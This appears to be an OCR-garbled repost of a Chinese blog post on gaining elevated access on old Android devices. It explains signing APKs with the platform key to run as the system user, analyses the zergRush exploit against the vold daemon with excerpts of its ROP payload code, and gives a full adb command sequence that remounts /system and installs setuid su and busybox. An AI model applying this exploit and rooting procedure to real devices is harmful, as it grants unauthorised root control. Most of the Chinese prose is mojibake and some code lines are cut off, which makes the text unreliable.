”build\target\product\security”, TififIplatform. pk8Flplatform. x509. pemfi M. 4R J5 FAndroidi it f#)Signapk T kL
4%, signapkMJIERALR7E"build\tools\signapk” F, FH¥%EA”signapk platform. x509. pem platform. pk8 input.apk output.apk”, X4
BRI X BRI AR, WA MEBIREREEEM .

X EE B apk 3 — N EER—FR.

BIEMBE—THEHE, Bk Aandroid: sharedUserIld="android. uid. system” X @M. iEidShared User id, HH R —User idi1%
ANAPKT] VABE B R ITER — AN . BAEEFHUIDE Kandroid. uid. system, MR BULBEFBITERAHED, XEREGHRKE
BARLRE T .

ARIMAVIDEAE, WMRIXERZHRAPKH)E R TERZE, RAIBLNF, ERRREFEEETERAHEBETEES BIRRA
Hiplatform key, #iR LHEH ARSI platform. pk8fllplatform. x509. pemPI MM, FIXFMkey2E 4 Jiapk A B IE W A R4 #E 72
F. H—ANHEFIALOCAL_CERTIFICATE := platform: St F X Hiikey RE&E 4 o

XWME—-ANEE, HEXFERNEF RAERERAMdroidRABERBCHEFENRAT A WU, FAXKERNRAS W UE
Flplatform. pk8Flplatform. x509. pemfi P34 . BRIF AT M KAndroid FELZEHLZEART . WRIREIEK AndroidF Kkey k&4, BF
EMERLES FIZT0K, A 3|63 &3 H R /R"Package ... has no signatures that match those in shared user
android. uid. system”, XFHEWRFIT RGN Z4E.

RBEIEYW T, XA android:sharedUserId/@ A R Al LAfapk/ B R4 RS, WA AR E L MPKIESITE MRS, X SEE
HE, MiZeBRERR.

signapkZm ¥ 45 K J57E androidH 3% T /out/host/linux—x86/framework/signapk. jar
{#F77¥%: java —jar signapk. jar platform. x509.pem platform. pk8 test.apk test signed. apk3f4.

¥ — zergRush

RSN, -

TETR— TREBANHITERE, LoraidFiiidE.
XHEAK, BRM main AFT,
if (geteuid() == 0 && getuid() == 0 && strstr(argv[0], "boomsh"))

do_root();


http://blog.csdn.net/liujian885/archive/2010/03/22/5404834.aspx
http://blog.csdn.net/tomken_zhang/article/details/6866260
https://github.com/revolutionary/zergRush/blob/master/zergRush.c

B, HH T Root BE1JE £M— 7T LAREF Root HIZhfE, HMl, WEFSBIHML R, I BEREMHKNEERF&RA

boomsh

% —F do_root I

5T —4 & ro.kemel.gemu A 1

B B2 1L T Y B 28324T, W \android2.32\system\core\adb\adb.c = fI4RAG
1. /* run adbd in secure mode if ro.secure is set and

2. ** we are not in the emulator

3. %

4. property get("ro.kernel.gemu"”, value, "™);

5. if (strcmp(value, "1") I= 0) {

6. property_get("ro.secure", value, ");

7.  if (strcmp(value, "1") == 0) {

8. /I don't run as root if ro.secure is set...

9. secure = 1;

10.

11. /I ... except we allow running as root in userdebug builds if the

12. /I service.adb.root property has been set by the "adb root" command

L) property_get("ro.debuggable”, value, ™);

14. if (strcmp(value, "1") == 0) {

15. property _get("service.adb.root", value, "™);
16. if (strcmp(value, "1") == 0) {

17. secure = 0;

18. }

19. }

20. }

21.}

LA A adb BRiAR Root FF T s

T XM T —fFFEE 2 N 2 /data/local/tmp/boomsh



£ SH ¥ I 2] /data/local/tmp/sh

%% [data/localitmp/boomsh FIALER A 711, ATHAT T

ARG 3RE /system/bin/vold T2FF B KA,

i@t heap_addr = ((((st.st_size) + 0x8000) / 0x1000) + 1) * 0x1000; XFEHI—ANHHE, BRZEFKHERN:, FAERT, Xt
vold B E TEWM T

RAEFHEM ps E—T, ZANMEFARM root FI7HATIERA.

RIERIT — T FHHRAS, RN 2223 “AMABITAE, FHBEIET — L heap_addr ftilk.
MIEXIRT —T system RA AR KL HhE, H B system_ptr #

k4 E checkcrash()

>> 5k T —F logcat H&E

>> i /data/localtmp/crashlog U4

>> B — AT, AR — T crashlog 14

>> i A do_fault

>> T FF crashlog X

>> 1E crashlog FHR B BHE B, RE| sp FfFasHilt.

&%, RMt2mBR, H§ERE do_fault PHER, RNEFFRXRT

XARBULEEL, RRELF

if ((sock = socket_local_client("vold", ANDROID_SOCKET NAMESPACE_RESERVED, SOCK_STREAM)) < 0)
NERER, ERvold, XEE, DR ERRR, XRERE.

write(sock, buf, n+1)

5T —%EE, FoEAAER, ERTUEENR, Bikvold HEKER.

TTEEI#] main 4k4:!

—/ For fE¥RAb 2,

find_stack_addr f 7 EHEKIAHF %, MBIBE B REIBEFOSREE, (ETEAWHHER, UWEBEMAET)

—LRAH T, M



killlogcat_pid, SIGKILL);
unlink(crashlog);

find_rop_gadgets()

N—AFaEws. &7, ENEAHAR, PRt A, 4880

TR EHK IR do_fault A B -
BXRAW sh REFHEA s L, WMAEFT, NIROOTIT .

BEWFRT, WRIWELBRAM boomsh iZ47#A4T do_root M. JFEEH MK sh XA, R bsh BB BN,
RIL T T :

1. static int do_fault()

2. {

3.  char buf[255];

4. intsock=-1,n=0,i;

&l
char s_stack_addr[5], s_stack pivot_addr[5], s_pop_r0_addr[5], s_system[5], s_bsh_addr[5], s_heap_addr[*

4| i | r

6. uint32_t bsh_addr;
7.  char padding[128];

8. int32_t padding_sz = (jumpsz==0? 0 : gadget_jumpsz - jumpsz);

10. memset(padding, 0, 128);

11.  strepy(padding, "LORDZZZZzzzZ"),

12. if(padding_sz> 0) {

13. memset(padding+12, 'Z', padding_sz);

14. printf("[*] Poping %d more zerglings\n", padding_sz);
15. }

16. else if(padding_sz < 0) {

17. memset(padding, 0, 128);

18. memset(padding, 'Z', 12+padding_sz);



19. }
20.

21.
if ((sock = socket_local_client("vold", ANDROID_SOCKET_ NAMESPACE_RESERVED, SOCK_STREAM)) <

4 | T | 3

22. die("[-] Error creating Nydus");
B

24,
sprintf(s_stack_addr, "%c%c%c%c", stack_addr & Oxff, (stack_addr>>8)&0xff, (stack_addr>>16)&0xff, (stack
F

< | T |

25.
sprintf(s_stack_pivot_addr, "%c%c%c%c", stack_pivot & Oxff, (stack_pivot>>8)&0xff, (stack pivot>>16)&0xff
F

< | 1 |

26.
sprintf(s_pop_r0_addr, "%c%c%c%c", pop_r0 & Oxff, (pop_r0>>8)&0xff, (pop_r0>>16)&0xff, (pop_r0>>24)&

4 | I | 3

27.
sprintf(s_system, "%c%c%c%c", system ptr & 0xff, (system_ptr>>8)&0xff, (system_ptr>>16)&0xff, (system_g
F

< | i |

28.
sprintf(s_heap_addr, "%c%c%c%c", heap_addr & O0xff, (heap_addr>>8)&0xff, (heap_addr>>16)&0xff, (heap_
| b

4 | T

29.

30. strcpy(buf, "ZERG");

31.  strcat(buf, " ZZ");

32. strcat(buf, s_stack pivot_addr);

33. for(i=3; i < buffsz+1; i++)

34. strcat(buf, " 2ZZ227");

35. strcat(buf, " ");

36. strcat(buf, s_heap_addr);

37.

38. n = strlen(buf);

39. bsh_addr=stack addr+n+1+8+ 8+ 8+ padding_sz+ 12 + 4;
40.

41. if(check_addr(bsh_addr) == -1){

42. printf("[-] Colossus, we're doomed!\n");

43,  exit(-1);



44, )
45,

46.
sprintf(s_bsh_addr, "%c%c%c%c", bsh_addr & 0xff, (bsh_addr>>8)&0xff, (bsh_addr>>16)&0xff, (bsh_addr>:

4 | T | 3

47.

48. <strong><span style="color:#ffffff; BACKGROUND-
COLOR: #f0000">n += sprintf(buf+n+1, "%s%s OVER%Ss%Ss%s%sZZZZ7%s%c", s_stack_addr, s_heap_addr, |
</span></strong>

4 T | r

49.

50.  printf("[*] Sending %d zerglings ...\n", n);
51.

52. if ((n = write(sock, buf, n+1)) < 0)

510 die("[-] Nydus seems broken");

54.

55. sleep(3);

56. close(sock);

57.

58. return n;

59. }

EF EmmMERNTT, ERMbZH socket H¥—4 shellcode , A T % i sh FEF .

ZE vold HF#4T sh 1 & & root I .

2k, FRHEBRERT, shellcode W, E4THIRHMEIEAL dump HRA AR T EEIE!
— 4 ROOT# &

15 R TR

adb wait-for-device

2 RS

adb shell "cd /data/local/tmp/; rm *"

3. L fEzergRushF & BB 1 2 #1047

adb push c:\zergRush /data/local/tmp/

adb shell "chmod 777 /data/local/tmp/zergRush"



adb shell "/data/local/tmp/zergRush"

adb wait-for-device
4. bk fkbusybox. Zhbusybox3CHHATAUR, BART BAJF R sc &4
adb push c:\busybox /data/local/tmp/

adb shell "chmod 755 /data/local/tmp/busybox"

adb shell "/data/local/tmp/busybox mount -o remount,rw /system"
5.8 #llbusybox, EEBTTERIH L B B s

adb shell "dd if=/data/local/tmp/busybox of=/system/xbin/busybox"
adb shell "chown root.shell /system/xbin/busybox"

adb shell "chmod 04755 /system/xbin/busybox"

6.2 3 busybox I B I B ST

adb shell "/system/xbin/busybox --install -s /system/xbin"
adb shell "rm -rf /data/local/tmp/busybox"

7 Xt suik AT 2 busybox ) &b 28

adb push c:\fu /system/bin/su

adb shell "chown root.shell /system/bin/su"

adb shell "chmod 06755 /systenvbin/su"

adb shell "rm /system/xbin/su"

adb shell "In -s /system/bin/su /system/xbin/su"
8RZFEHETH

adb push c:\superuser.apk /system/app/

adb shell "cd /data/local/tmp/; rm *"

adb reboot

adb wait-for-device

adb install c:\recovery.apk

JR3C#H: http://blog.csdn.net/superkris/article/details/7709504
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